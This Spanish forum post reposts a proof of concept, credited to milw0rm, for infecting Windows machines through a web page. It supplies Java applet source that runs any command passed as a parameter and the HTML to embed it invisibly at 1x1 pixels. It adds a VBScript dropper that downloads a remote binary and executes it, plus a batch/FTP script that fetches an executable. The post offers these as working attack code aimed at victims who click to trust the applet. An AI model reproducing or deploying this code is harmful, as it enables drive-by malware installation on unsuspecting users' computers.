[POC] Infección Mediante Java Applet y VBScript
Fuente milw0rm.com
Autor: AnalyseR
POC y post realizado por Wofo y Hacker_Zero para You are not allowed to view links.
Register or
LoginBueno, muchos recordarán un post dónde se explicaba como hacer un fake de una web que nos pedía un componente flash y había un link hacia un *.exe.
Bueno pues mediante la ejecución de un Applet en Java y un script en VBScript o Batch, es posible descargar y ejecutar un programa remoto en un pc tan sólo con 1 click, para decir que se confía en el applet que se intenta ejecutar (el cual sale en todos los applets como pueden ser juegos y demás).
Empezamos con el Applet
Lo primero será compilar el siguiente código en Java:
Código
GeSHi (java):
import java.applet.*;
import java.awt.*;
import java.io.*;
public class skata extends Applet
{
public void init()
{
Process f;
String first = getParameter("first");
try
{
f = Runtime.getRuntime().exec(first);
}
catch(IOException e)
{
e.printStackTrace();
}
}
}
Created by GeSHI 1.0.7.5
Éste código ejecuta un en el pc remoto lo que se le pase como parámetro. El Applet puede ser utilizado de la suguiente manera desde un documento html:
Código
GeSHi (html4strict):
<applet width='1' height='1' code='Nombre-clase-applet.class' archive='Nombre-Applet.jar'>
<param name='first' value='cmd.exe /c msg * Hola Mundo!'>
</applet>
Created by GeSHI 1.0.7.5
Como véis nos dá la posibilidad de ejecutar comandos de consola en un pc remoto con S.O Windows. Pero iremos un paso más allá, y descargaremos un archivo al pc, como podemos hacer ésto? Pues podemos crear códigos usando Scripting, ya sea en Batch usando ftp o en VBScript.
Para crear el archivo VBS utilizamos Streams de salida en Batch:
Código:
cmd.exe /c echo Comando en VBS >>C:\Archivo.vbs
El siguiente código en VBScript descarga un Archivo binario y lo ejecuta:
Código
GeSHi (vb):
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.Write BinaryGetURL(Wscript.Arguments(0))
BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite
Function BinaryGetURL(URL)
Dim Http
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")
Http.Open "GET", URL, False
Http.Send
BinaryGetURL = Http.ResponseBody
End Function
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c C:\archivo.exe"
Created by GeSHI 1.0.7.5
Su funcionamiento es muy sencillo:
Código:
Codigo.vbs You are not allowed to view links.
Register or
Login C:\archivo.exe
Tambien se podría hacer sin necesidad de ningún archivo vbs ejecutando el ftp de la línea de comandos, aunque seguimos con el caso de vbs que es el ejemplo que puso el autor y es mas "general".
Aquí un ejemplo de como descargar el archivo usando ftp desde la shell:
Código:
@echo off
echo nombre > C:\datos.txt
echo contraseña >> C:\datos.txt
echo mget archivo.exe>>C:\datos.txt
echo bye >> C:\datos.txt
ftp -s:C:\datos.txt ftp.nombreftpcom
exit